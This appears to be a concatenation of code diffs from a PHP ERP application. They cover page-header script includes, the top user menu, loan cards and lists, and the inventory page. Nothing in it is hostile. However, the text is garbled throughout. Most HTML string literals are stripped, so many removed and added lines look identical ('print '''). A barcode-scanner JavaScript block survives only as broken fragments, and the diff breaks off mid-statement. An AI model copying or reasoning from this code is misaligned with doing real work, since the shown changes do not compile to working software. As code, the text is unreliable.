''."\n"; + print ''."\n"; } if (defined('JS_JQUERY_UI') && constant('JS_JQUERY_UI')) { - print ''."\n"; + print ''."\n"; } else { - print ''."\n"; + print ''."\n"; } // jQuery jnotify if (empty($conf->global->MAIN_DISABLE_JQUERY_JNOTIFY) && !defined('DISABLE_JQUERY_JNOTIFY')) { - print ''."\n"; + print ''."\n"; } // Table drag and drop lines if (empty($disableforlogin) && !defined('DISABLE_JQUERY_TABLEDND')) { - print ''."\n"; + print ''."\n"; } // Chart if (empty($disableforlogin) && (empty($conf->global->MAIN_JS_GRAPH) || $conf->global->MAIN_JS_GRAPH == 'chart') && !defined('DISABLE_JS_GRAPH')) { - print ''."\n"; + print ''."\n"; } // jQuery jeditable for Edit In Place features if (!empty($conf->global->MAIN_USE_JQUERY_JEDITABLE) && !defined('DISABLE_JQUERY_JEDITABLE')) { print ''."\n"; - print ''."\n"; - print ''."\n"; - print ''."\n"; + print ''."\n"; + print ''."\n"; + print ''."\n"; print ''."\n"; - print ''."\n"; - print ''."\n"; + print ''."\n"; + print ''."\n"; } // jQuery Timepicker if (!empty($conf->global->MAIN_USE_JQUERY_TIMEPICKER) || defined('REQUIRE_JQUERY_TIMEPICKER')) { - print ''."\n"; - print ''."\n"; + print ''."\n"; + print ''."\n"; } if (!defined('DISABLE_SELECT2') && (!empty($conf->global->MAIN_USE_JQUERY_MULTISELECT) || defined('REQUIRE_JQUERY_MULTISELECT'))) { // jQuery plugin "mutiselect", "multiple-select", "select2", ... $tmpplugin = empty($conf->global->MAIN_USE_JQUERY_MULTISELECT) ?constant('REQUIRE_JQUERY_MULTISELECT') : $conf->global->MAIN_USE_JQUERY_MULTISELECT; - print ''."\n"; // We include full because we need the support of containerCssClass + print ''."\n"; // We include full because we need the support of containerCssClass } if (!defined('DISABLE_MULTISELECT')) { // jQuery plugin "mutiselect" to select with checkboxes. Can be removed once we have an enhanced search tool - print ''."\n"; + print ''."\n"; } } @@ -1809,7 +1908,7 @@ function top_htmlhead($head, $title = '', $disablejs = 0, $disablehead = 0, $arr // To use external ckeditor 4 js lib $pathckeditor = constant('JS_CKEDITOR'); } - print ''."\n"; + print ''."\n"; } } // Global js function print ''."\n"; - print ''."\n"; + print ''."\n"; // JS forced by modules (relative url starting with /) if (!empty($conf->modules_parts['js'])) { // $conf->modules_parts['js'] is array('module'=>array('file1','file2')) @@ -1854,7 +1953,8 @@ function top_htmlhead($head, $title = '', $disablejs = 0, $disablehead = 0, $arr // jsfile is a relative path $urlforjs = dol_buildpath($jsfile, 1); if ($urlforjs && $urlforjs != '/') { - print ''."\n".''."\n"; + print ''."\n"; + print ''."\n"; } else { dol_syslog("Warning: module ".$modjs." declared a js path file for a file we can't find.", LOG_WARNING); } @@ -1866,9 +1966,9 @@ function top_htmlhead($head, $title = '', $disablejs = 0, $disablehead = 0, $arr print ''."\n"; foreach ($arrayofjs as $jsfile) { if (preg_match('/^(http|\/\/)/i', $jsfile)) { - print ''."\n"; + print ''."\n"; } else { - print ''."\n"; + print ''."\n"; } } } @@ -1878,7 +1978,7 @@ function top_htmlhead($head, $title = '', $disablejs = 0, $disablehead = 0, $arr if (!empty($conf->global->ALLOW_THEME_JS)) { $theme_js = dol_buildpath('/theme/'.$conf->theme.'/'.$conf->theme.'.js', 0); if (file_exists($theme_js)) { - print ''."\n"; + print ''."\n"; } } @@ -1912,7 +2012,7 @@ function top_htmlhead($head, $title = '', $disablejs = 0, $disablehead = 0, $arr * @param array $arrayofcss Array of css files to add in header * @param string $morequerystring Query string to add to the link "print" to get same parameters (use only if autodetect fails) * @param string $helppagename Name of wiki page for help ('' by default). - * Syntax is: For a wiki page: EN:EnglishPage|FR:FrenchPage|ES:SpanishPage + * Syntax is: For a wiki page: EN:EnglishPage|FR:FrenchPage|ES:SpanishPage|DE:GermanPage * For other external page: http://server/url * @return void */ @@ -1982,11 +2082,11 @@ function top_menu($head, $title = '', $target = '', $disablejs = 0, $disablehead $logouthtmltext .= $langs->trans("Logout").'
      '; $logouttext .= ''; - $logouttext .= img_picto($langs->trans('Logout'), 'sign-out', '', false, 0, 0, '', 'atoplogin'); + $logouttext .= img_picto($langs->trans('Logout'), 'sign-out', '', false, 0, 0, '', 'atoplogin valignmiddle'); $logouttext .= ''; } else { $logouthtmltext .= $langs->trans("NoLogoutProcessWithAuthMode", $_SESSION["dol_authmode"]); - $logouttext .= img_picto($langs->trans('Logout'), 'sign-out', '', false, 0, 0, '', 'atoplogin opacitymedium'); + $logouttext .= img_picto($langs->trans('Logout'), 'sign-out', '', false, 0, 0, '', 'atoplogin valignmiddle opacitymedium'); } } @@ -2045,7 +2145,7 @@ function top_menu($head, $title = '', $target = '', $disablejs = 0, $disablehead $helppresent = ''; if (empty($helppagename)) { - $helppagename = 'EN:User_documentation|FR:Documentation_utilisateur|ES:Documentación_usuarios'; + $helppagename = 'EN:User_documentation|FR:Documentation_utilisateur|ES:Documentación_usuarios|DE:Benutzerdokumentation'; } else { $helppresent = 'helppresent'; } @@ -2267,12 +2367,14 @@ function top_menu_user($hideloginname = 0, $urllogout = '') if (empty($urllogout)) { $urllogout = DOL_URL_ROOT.'/user/logout.php?token='.newToken(); } - $logoutLink = ' '.$langs->trans("Logout").''; - $profilLink = ' '.$langs->trans("Card").''; + // Defined the links for bottom of card + $profilLink = ' '.$langs->trans("Card").''; + $urltovirtualcard = '/user/virtualcard.php?id='.((int) $user->id); + $virtuelcardLink = dolButtonToOpenUrlInDialogPopup('publicvirtualcardmenu', $langs->trans("PublicVirtualCardUrl").(is_object($user) ? ' - '.$user->getFullName($langs) : ''), img_picto($langs->trans("PublicVirtualCardUrl"), 'card', ''), $urltovirtualcard, '', 'button-top-menu-dropdown marginleftonly nohover', "closeTopMenuLoginDropdown()", '', 'v'); + $logoutLink = ''.$langs->trans("Logout").''; $profilName = $user->getFullName($langs).' ('.$user->login.')'; - if (!empty($user->admin)) { $profilName = ' '.$profilName; } @@ -2328,10 +2430,13 @@ function top_menu_user($hideloginname = 0, $urllogout = '')
      '.$profilLink.'
      +
      + '.$virtuelcardLink.' +
      '.$logoutLink.'
      -
      +
      @@ -2350,32 +2455,47 @@ function top_menu_user($hideloginname = 0, $urllogout = '') $btnUser .= ' '; - - // Link to reset qty - print ''.img_picto('', 'eraser', 'class="paddingrightonly"').$langs->trans("ClearQtys").''; + print ''.$langs->trans("Validate").' ('.$langs->trans("Start").')'."\n"; } else { - print ''.$langs->trans("Save").''."\n"; + print ''.$langs->trans('Validate').' ('.$langs->trans("Start").')'."\n"; } } - print '
      '; - print '
      '; - print ''; - } - - - // Popup for mass barcode scanning - if ($action == 'updatebyscaning') { - if ($permissiontoadd) { - // Output the javascript to manage the scanner tool. - print ''; + + // Link to reset qty + print ''.img_picto('', 'eraser', 'class="paddingrightonly"').$langs->trans("ClearQtys").''; + } else { + print ''.$langs->trans("Save").''."\n"; + } + } + print '
      '; + print '
      '; + print ''; +} + + +// Popup for mass barcode scanning +if ($action == 'updatebyscaning') { + if ($permissiontoadd) { + // Output the javascript to manage the scanner tool. + print ''; + if(BarcodeIsInProduct > 0){ + result = true; + } + return result; } - include DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php'; - $formother = new FormOther($db); - print $formother->getHTMLScannerForm("barcodescannerjs", 'all'); + '; + print ''; } + include DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php'; + $formother = new FormOther($db); + print $formother->getHTMLScannerForm("barcodescannerjs", 'all'); +} - //Call method to undo changes in real qty - print ''; +//Call method to undo changes in real qty +print ''; - print '
      '; - //print '
      '; - print '
      '; +print '
      '; +//print '
      '; +print '
      '; - //print load_fiche_titre($langs->trans('Consumption'), '', ''); +//print load_fiche_titre($langs->trans('Consumption'), '', ''); - print '
      '; - print '
      '; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; $searchpicto = $form->showFilterButtons('left'); print $searchpicto; print ''; - + print ''; if (!empty($val['arrayofkeyval']) && is_array($val['arrayofkeyval'])) { - print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100', 1); + print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100'.($key == 'status' ? ' search_status width100 onrightofpage' : ''), 1); } elseif ((strpos($val['type'], 'integer:') === 0) || (strpos($val['type'], 'sellist:')=== 0)) { print $object->showInputField($val, $key, (isset($search[$key]) ? $search[$key] : ''), '', '', 'search_', $cssforfield.' maxwidth250', 1); } elseif (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { @@ -559,11 +582,11 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; // Fields from hook $parameters = array('arrayfields'=>$arrayfields); -$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; $searchpicto = $form->showFilterButtons(); print $searchpicto; print '
      '; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($object->id, $arrayofselected)) { - $selected = 1; - } - print ''; + if ($mode == 'kanban') { + if ($i == 0) { + print '
      '; + print '
      '; } - print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; } - } elseif ($key == 'fk_user_modif') { - if ($object->fk_user_modif > 0) { - if (isset($conf->cache['user'][$object->fk_user_modif])) { - $user_temp = $conf->cache['user'][$object->fk_user_modif]; - } else { - $user_temp = new User($db); - $user_temp->fetch($object->fk_user_modif); - $conf->cache['user'][$object->fk_user_modif] = $user_temp; - } - print $user_temp->getNomUrl(-1); - } - } elseif ($key == 'fk_user_valid') { - if ($object->fk_user_valid > 0) { - if (isset($conf->cache['user'][$object->fk_user_valid])) { - $user_temp = $conf->cache['user'][$object->fk_user_valid]; - } else { - $user_temp = new User($db); - $user_temp->fetch($object->fk_user_valid); - $conf->cache['user'][$object->fk_user_valid] = $user_temp; - } - print $user_temp->getNomUrl(-1); - } - } elseif ($key == 'lang') { - $labellang = ($object->lang ? $langs->trans('Language_'.$object->lang) : ''); - print picto_from_langcode($object->lang, 'class="paddingrightonly saturatemedium opacitylow"'); - print $labellang; - } else { - print $object->showOutputField($val, $key, $object->$key, ''); + print ''; } print ''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($object->id, $arrayofselected)) { - $selected = 1; + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("DateStart").''; - print $form->selectDate($datestart ? $datestart : -1, 'start', '', '', '', 'add', 1, 1); + print $form->selectDate(!empty($datestart) ? $datestart : -1, 'start', '', '', '', 'add', 1, 1); print '
      '.$langs->trans("DateEnd").''; - print $form->selectDate($dateend ? $dateend : -1, 'end', '', '', '', 'add', 1, 1); + print $form->selectDate(!empty($dateend) ? $dateend : -1, 'end', '', '', '', 'add', 1, 1); print '
      '.$langs->trans("LoanAccountancyCapitalCode").''; - print $formaccounting->select_account(GETPOST('accountancy_account_capital') ?GETPOST('accountancy_account_capital') : $conf->global->LOAN_ACCOUNTING_ACCOUNT_CAPITAL, 'accountancy_account_capital', 1, '', 1, 1); + print $formaccounting->select_account(GETPOST('accountancy_account_capital') ?GETPOST('accountancy_account_capital') : getDolGlobalString('LOAN_ACCOUNTING_ACCOUNT_CAPITAL'), 'accountancy_account_capital', 1, '', 1, 1); print '
      '.$langs->trans("LoanAccountancyInsuranceCode").''; - print $formaccounting->select_account(GETPOST('accountancy_account_insurance') ?GETPOST('accountancy_account_insurance') : $conf->global->LOAN_ACCOUNTING_ACCOUNT_INSURANCE, 'accountancy_account_insurance', 1, '', 1, 1); + print $formaccounting->select_account(GETPOST('accountancy_account_insurance') ?GETPOST('accountancy_account_insurance') : getDolGlobalString('LOAN_ACCOUNTING_ACCOUNT_INSURANCE'), 'accountancy_account_insurance', 1, '', 1, 1); print '
      '.$langs->trans("LoanAccountancyInterestCode").''; - print $formaccounting->select_account(GETPOST('accountancy_account_interest') ?GETPOST('accountancy_account_interest') : $conf->global->LOAN_ACCOUNTING_ACCOUNT_INTEREST, 'accountancy_account_interest', 1, '', 1, 1); + print $formaccounting->select_account(GETPOST('accountancy_account_interest') ?GETPOST('accountancy_account_interest') : getDolGlobalString('LOAN_ACCOUNTING_ACCOUNT_INTEREST'), 'accountancy_account_interest', 1, '', 1, 1); print '
      '.$langs->trans("LoanAccountancyCapitalCode").''; @@ -422,13 +426,13 @@ if ($id > 0) { $morehtmlref = '
      '; // Ref loan - $morehtmlref .= $form->editfieldkey("Label", 'label', $object->label, $object, $user->rights->loan->write, 'string', '', 0, 1); - $morehtmlref .= $form->editfieldval("Label", 'label', $object->label, $object, $user->rights->loan->write, 'string', '', null, null, '', 1); + $morehtmlref .= $form->editfieldkey("Label", 'label', $object->label, $object, $user->hasRight('loan', 'write'), 'string', '', 0, 1); + $morehtmlref .= $form->editfieldval("Label", 'label', $object->label, $object, $user->hasRight('loan', 'write'), 'string', '', null, null, '', 1); // Project if (isModEnabled('project')) { $langs->loadLangs(array("projects")); $morehtmlref .= '
      '.$langs->trans('Project').' '; - if ($user->rights->loan->write) { + if ($user->hasRight('loan', 'write')) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' : '; } @@ -437,11 +441,11 @@ if ($id > 0) { $morehtmlref .= '
      '; $morehtmlref .= ''; $morehtmlref .= ''; - $morehtmlref .= $formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref .= $formproject->select_projects(-1, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); $morehtmlref .= ''; $morehtmlref .= '
      '; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, -1, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -632,12 +636,14 @@ if ($id > 0) { /* * Payments */ - $sql = "SELECT p.rowid, p.num_payment, datep as dp,"; + $sql = "SELECT p.rowid, p.num_payment, p.datep as dp,"; $sql .= " p.amount_capital, p.amount_insurance, p.amount_interest,"; + $sql .= " b.fk_account,"; $sql .= " c.libelle as paiement_type"; $sql .= " FROM ".MAIN_DB_PREFIX."payment_loan as p"; - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_paiement as c ON p.fk_typepayment = c.id"; - $sql .= ", ".MAIN_DB_PREFIX."loan as l"; + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."bank as b ON p.fk_bank = b.rowid"; + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_paiement as c ON p.fk_typepayment = c.id,"; + $sql .= " ".MAIN_DB_PREFIX."loan as l"; $sql .= " WHERE p.fk_loan = ".((int) $id); $sql .= " AND p.fk_loan = l.rowid"; $sql .= " AND l.entity IN ( ".getEntity('loan').")"; @@ -658,11 +664,14 @@ if ($id > 0) { print '
      '.$langs->trans("RefPayment").''.$langs->trans("Date").''.$langs->trans("Type").''.$langs->trans("BankAccount").''.$langs->trans("Insurance").''.$langs->trans("Interest").''.$langs->trans("LoanCapital").'
      '.img_object($langs->trans("Payment"), "payment").' '.$objp->rowid.''.dol_print_date($db->jdate($objp->dp), 'day')."".$objp->paiement_type.' '.$objp->num_payment."'.price($objp->amount_insurance, 0, $outputlangs, 1, -1, -1, $conf->currency)."'.price($objp->amount_interest, 0, $outputlangs, 1, -1, -1, $conf->currency)."'.price($objp->amount_capital, 0, $outputlangs, 1, -1, -1, $conf->currency).""; + if (!empty($conf->cache['bankaccount'][$objp->fk_account])) { + $tmpbank = $conf->cache['bankaccount'][$objp->fk_account]; + } else { + $tmpbank = new Account($db); + $tmpbank->fetch($objp->fk_account); + $conf->cache['bankaccount'][$objp->fk_account] = $tmpbank; + } + print $tmpbank->getNomUrl(1); + print "'.price($objp->amount_insurance, 0, $outputlangs, 1, -1, -1, $conf->currency)."'.price($objp->amount_interest, 0, $outputlangs, 1, -1, -1, $conf->currency)."'.price($objp->amount_capital, 0, $outputlangs, 1, -1, -1, $conf->currency)."
      '.$langs->trans("AlreadyPaid").' :'.price($totalpaid, 0, $langs, 0, -1, -1, $conf->currency).'
      '.$langs->trans("AmountExpected").' :'.price($object->capital, 0, $outputlangs, 1, -1, -1, $conf->currency).'
      '.$langs->trans("AlreadyPaid").' :'.price($totalpaid, 0, $langs, 0, -1, -1, $conf->currency).'
      '.$langs->trans("AmountExpected").' :'.price($object->capital, 0, $outputlangs, 1, -1, -1, $conf->currency).'
      '.$langs->trans("RemainderToPay").' :
      '.$langs->trans("RemainderToPay").' :'; print price($staytopay, 0, $langs, 0, -1, -1, $conf->currency); print '
      '; + $searchpicto = $form->showFilterAndCheckAddButtons(); + print $searchpicto; + print '  '; - $searchpicto = $form->showFilterAndCheckAddButtons(0); - print $searchpicto; - print ''; + $searchpicto = $form->showFilterAndCheckAddButtons(); + print $searchpicto; + print '
      '.$loan_static->getNomUrl(1).'
      '; + print '
      '; + } + // Output Kanban + $loan_static->datestart= $obj->datestart; + $loan_static->dateend = $obj->dateend; + $loan_static->capital = $obj->capital; + $loan_static->totalpaid = $obj->paid; - // Label - print '
      '.dol_trunc($obj->label, 42).'
      '.price($obj->capital).''.dol_print_date($db->jdate($obj->datestart), 'day').''.$loan_static->getNomUrl(1).''.dol_print_date($db->jdate($obj->dateend), 'day').''.dol_trunc($obj->label, 42).''; - print $loan_static->LibStatut($obj->paid, 5, $obj->alreadypaid); - print ''.price($obj->capital).''.dol_print_date($db->jdate($obj->datestart), 'day').'
      '.dol_print_date($db->jdate($obj->dateend), 'day').''; + print $loan_static->LibStatut($obj->paid, 5, $obj->alreadypaid); + print '
      '; +print '
      '; +print '
      '; - print ''; - print ''; - print ''; +print ''; +print ''; +print ''; +if (isModEnabled('productbatch')) { + print ''; +} +print ''; +if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { + print ''; + print ''; + print ''; + print ''; + print ''; +} else { + print ''; +} +if ($object->status == $object::STATUS_DRAFT || $object->status == $object::STATUS_VALIDATED) { + // Actions or link to stock movement + print ''; +} else { + // Actions or link to stock movement + print ''; +} +print ''; + +// Line to add a new line in inventory +if ($object->status == $object::STATUS_DRAFT || $object->status == $object::STATUS_VALIDATED) { + print ''; + print ''; + print ''; if (isModEnabled('productbatch')) { print ''; } - print ''; + print ''; if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { - print ''; - print ''; - print ''; - print ''; - print ''; + print ''; + print ''; + print ''; + print ''; + print ''; } else { print ''; - } - if ($object->status == $object::STATUS_DRAFT || $object->status == $object::STATUS_VALIDATED) { - // Actions or link to stock movement - print ''; - } else { - // Actions or link to stock movement - print ''; } + // Actions + print ''; print ''; +} - // Line to add a new line in inventory - if ($object->status == $object::STATUS_DRAFT || $object->status == $object::STATUS_VALIDATED) { - print ''; - print ''; + print ''; - print ''; + if (isModEnabled('productbatch')) { - print ''; } - print ''; - if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { - print ''; - print ''; - print ''; - print ''; + + // Expected quantity = Quantity in stock when we start inventory + print ''; + + // Real quantity + if ($object->status == $object::STATUS_DRAFT || $object->status == $object::STATUS_VALIDATED) { + $qty_view = GETPOST("id_".$obj->rowid) && price2num(GETPOST("id_".$obj->rowid), 'MS') >= 0 ? GETPOST("id_".$obj->rowid) : $obj->qty_view; + + //if (!$hasinput && $qty_view !== null && $obj->qty_stock != $qty_view) { + if ($qty_view != '') { + $hasinput = true; + } + + if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { + //PMP Expected + if (!empty($obj->pmp_expected)) $pmp_expected = $obj->pmp_expected; + else $pmp_expected = $product_static->pmp; + $pmp_valuation = $pmp_expected * $valuetoshow; + print ''; + print ''; + + print ''; + + //PMP Real + print ''; + print ''; + + $totalExpectedValuation += $pmp_valuation; + $totalRealValuation += $pmp_valuation_real; + } else { + print ''; + } + + // Picto delete line print ''; } else { - print ''; - } - // Actions - print ''; - print ''; - } - - // Request to show lines of inventory (prefilled after start/validate step) - $sql = 'SELECT id.rowid, id.datec as date_creation, id.tms as date_modification, id.fk_inventory, id.fk_warehouse,'; - $sql .= ' id.fk_product, id.batch, id.qty_stock, id.qty_view, id.qty_regulated, id.fk_movement, id.pmp_real, id.pmp_expected'; - $sql .= ' FROM '.MAIN_DB_PREFIX.'inventorydet as id'; - $sql .= ' WHERE id.fk_inventory = '.((int) $object->id); - $sql .= $db->plimit($limit, $offset); - - $cacheOfProducts = array(); - $cacheOfWarehouses = array(); - - //$sql = ''; - $resql = $db->query($sql); - if ($resql) { - $num = $db->num_rows($resql); - - if (!empty($limit != 0) || $num > $limit || $page) { - print_fleche_navigation($page, $_SERVER["PHP_SELF"], $paramwithsearch, ($num >= $limit), '', '', $limit); - } - - $i = 0; - $hasinput = false; - $totalarray = array(); - while ($i < $num) { - $obj = $db->fetch_object($resql); - - if (isset($cacheOfWarehouses[$obj->fk_warehouse])) { - $warehouse_static = $cacheOfWarehouses[$obj->fk_warehouse]; - } else { - $warehouse_static = new Entrepot($db); - $warehouse_static->fetch($obj->fk_warehouse); - - $cacheOfWarehouses[$warehouse_static->id] = $warehouse_static; - } - - // Load real stock we have now - $option = ''; - if (isset($cacheOfProducts[$obj->fk_product])) { - $product_static = $cacheOfProducts[$obj->fk_product]; - } else { - $product_static = new Product($db); - $result = $product_static->fetch($obj->fk_product, '', '', '', 1, 1, 1); - - //$option = 'nobatch'; - $option .= ',novirtual'; - $product_static->load_stock($option); // Load stock_reel + stock_warehouse. - - $cacheOfProducts[$product_static->id] = $product_static; - } - - print ''; - print ''; - print ''; - - if (isModEnabled('productbatch')) { - print ''; - } - - // Expected quantity = Quantity in stock when we start inventory - print ''; - - // Real quantity - if ($object->status == $object::STATUS_DRAFT || $object->status == $object::STATUS_VALIDATED) { - $qty_view = GETPOST("id_".$obj->rowid) && price2num(GETPOST("id_".$obj->rowid), 'MS') >= 0 ? GETPOST("id_".$obj->rowid) : $obj->qty_view; - - //if (!$hasinput && $qty_view !== null && $obj->qty_stock != $qty_view) { - if ($qty_view != '') { - $hasinput = true; - } - - if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { - //PMP Expected - if (!empty($obj->pmp_expected)) $pmp_expected = $obj->pmp_expected; - else $pmp_expected = $product_static->pmp; - $pmp_valuation = $pmp_expected * $valuetoshow; - print ''; - print ''; - - print ''; - - //PMP Real - print ''; - print ''; - - $totalExpectedValuation += $pmp_valuation; - $totalRealValuation += $pmp_valuation_real; - } else { - print ''; - } - - // Picto delete line + if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { + //PMP Expected + if (!empty($obj->pmp_expected)) $pmp_expected = $obj->pmp_expected; + else $pmp_expected = $product_static->pmp; + $pmp_valuation = $pmp_expected * $valuetoshow; print ''; + print ''; + + print ''; + + //PMP Real + print ''; + print ''; + print ''; - print ''; - - print ''; - - //PMP Real - print ''; - print ''; - print ''; - } - if ($obj->fk_movement > 0) { - $stockmovment = new MouvementStock($db); - $stockmovment->fetch($obj->fk_movement); - print $stockmovment->getNomUrl(1, 'movements'); - } + print ''; } - print ''; - - $i++; + if ($obj->fk_movement > 0) { + $stockmovment = new MouvementStock($db); + $stockmovment->fetch($obj->fk_movement); + print $stockmovment->getNomUrl(1, 'movements'); + } + print ''; } - } else { - dol_print_error($db); - } - if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { - print ''; - print ''; - print ''; - print ''; - print ''; print ''; + + $i++; } - print '
      '.$langs->trans("Warehouse").''.$langs->trans("Product").'
      '.$langs->trans("Warehouse").''.$langs->trans("Product").''; + print $langs->trans("Batch"); + print ''.$langs->trans("ExpectedQty").''.$langs->trans('PMPExpected').''.$langs->trans('ExpectedValuation').''.$form->textwithpicto($langs->trans("RealQty"), $langs->trans("InventoryRealQtyHelp")).''.$langs->trans('PMPReal').''.$langs->trans('RealValuation').''; + print $form->textwithpicto($langs->trans("RealQty"), $langs->trans("InventoryRealQtyHelp")); + print ''; + print ''; + //print $langs->trans("StockMovement"); + print '
      '; + print $formproduct->selectWarehouses((GETPOSTISSET('fk_warehouse') ? GETPOST('fk_warehouse', 'int') : $object->fk_warehouse), 'fk_warehouse', 'warehouseopen', 1, 0, 0, '', 0, 0, array(), 'maxwidth300'); + print ''; + print $form->select_produits((GETPOSTISSET('fk_product') ? GETPOST('fk_product', 'int') : $object->fk_product), 'fk_product', '', 0, 0, -1, 2, '', 0, null, 0, '1', 0, 'maxwidth300'); + print ''; - print $langs->trans("Batch"); + print ''; print ''.$langs->trans("ExpectedQty").''.$langs->trans('PMPExpected').''.$langs->trans('ExpectedValuation').''.$form->textwithpicto($langs->trans("RealQty"), $langs->trans("InventoryRealQtyHelp")).''.$langs->trans('PMPReal').''.$langs->trans('RealValuation').''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; - print $form->textwithpicto($langs->trans("RealQty"), $langs->trans("InventoryRealQtyHelp")); - print ''; - print ''; - //print $langs->trans("StockMovement"); + print ''; print ''; + print ''; + print '
      '; - print $formproduct->selectWarehouses((GETPOSTISSET('fk_warehouse') ? GETPOST('fk_warehouse', 'int') : $object->fk_warehouse), 'fk_warehouse', 'warehouseopen', 1, 0, 0, '', 0, 0, array(), 'maxwidth300'); +// Request to show lines of inventory (prefilled after start/validate step) +$sql = 'SELECT id.rowid, id.datec as date_creation, id.tms as date_modification, id.fk_inventory, id.fk_warehouse,'; +$sql .= ' id.fk_product, id.batch, id.qty_stock, id.qty_view, id.qty_regulated, id.fk_movement, id.pmp_real, id.pmp_expected'; +$sql .= ' FROM '.MAIN_DB_PREFIX.'inventorydet as id'; +$sql .= ' WHERE id.fk_inventory = '.((int) $object->id); +$sql .= $db->order('id.rowid', 'ASC'); +$sql .= $db->plimit($limit, $offset); + +$cacheOfProducts = array(); +$cacheOfWarehouses = array(); + +//$sql = ''; +$resql = $db->query($sql); +if ($resql) { + $num = $db->num_rows($resql); + + if (!empty($limit != 0) || $num > $limit || $page) { + print_fleche_navigation($page, $_SERVER["PHP_SELF"], $paramwithsearch, ($num >= $limit), '', '', $limit); + } + + $i = 0; + $hasinput = false; + $totalarray = array(); + while ($i < $num) { + $obj = $db->fetch_object($resql); + + if (isset($cacheOfWarehouses[$obj->fk_warehouse])) { + $warehouse_static = $cacheOfWarehouses[$obj->fk_warehouse]; + } else { + $warehouse_static = new Entrepot($db); + $warehouse_static->fetch($obj->fk_warehouse); + + $cacheOfWarehouses[$warehouse_static->id] = $warehouse_static; + } + + // Load real stock we have now + $option = ''; + if (isset($cacheOfProducts[$obj->fk_product])) { + $product_static = $cacheOfProducts[$obj->fk_product]; + } else { + $product_static = new Product($db); + $result = $product_static->fetch($obj->fk_product, '', '', '', 1, 1, 1); + + //$option = 'nobatch'; + $option .= ',novirtual'; + $product_static->load_stock($option); // Load stock_reel + stock_warehouse. + + $cacheOfProducts[$product_static->id] = $product_static; + } + + print '
      '; + print $warehouse_static->getNomUrl(1); print ''; - print $form->select_produits((GETPOSTISSET('fk_product') ? GETPOST('fk_product', 'int') : $object->fk_product), 'fk_product', '', 0, 0, -1, 2, '', 0, null, 0, '1', 0, 'maxwidth300'); + print ''; + print $product_static->getNomUrl(1).' - '.$product_static->label; print ''; - print ''; + print ''; + $batch_static = new Productlot($db); + $res = $batch_static->fetch(0, $product_static->id, $obj->batch); + if ($res) { + print $batch_static->getNomUrl(1); + } else { + print dol_escape_htmltag($obj->batch); + } print ''; - print ''; - print ''; - print ''; - print ''; - print ''; + $valuetoshow = $obj->qty_stock; + // For inventory not yet close, we overwrite with the real value in stock now + if ($object->status == $object::STATUS_DRAFT || $object->status == $object::STATUS_VALIDATED) { + if (isModEnabled('productbatch') && $product_static->hasbatch()) { + $valuetoshow = $product_static->stock_warehouse[$obj->fk_warehouse]->detail_batch[$obj->batch]->qty; + } else { + $valuetoshow = $product_static->stock_warehouse[$obj->fk_warehouse]->real; + } + } + print price2num($valuetoshow, 'MS'); + print ''; + print ''; + print price($pmp_expected); + print ''; + print ''; + print price($pmp_valuation); + print ''; + print ''; + print img_picto('', 'eraser', 'class="opacitymedium"'); + print ''; + print ''; + print ''; + + + if (!empty($obj->pmp_real)) $pmp_real = $obj->pmp_real; + else $pmp_real = 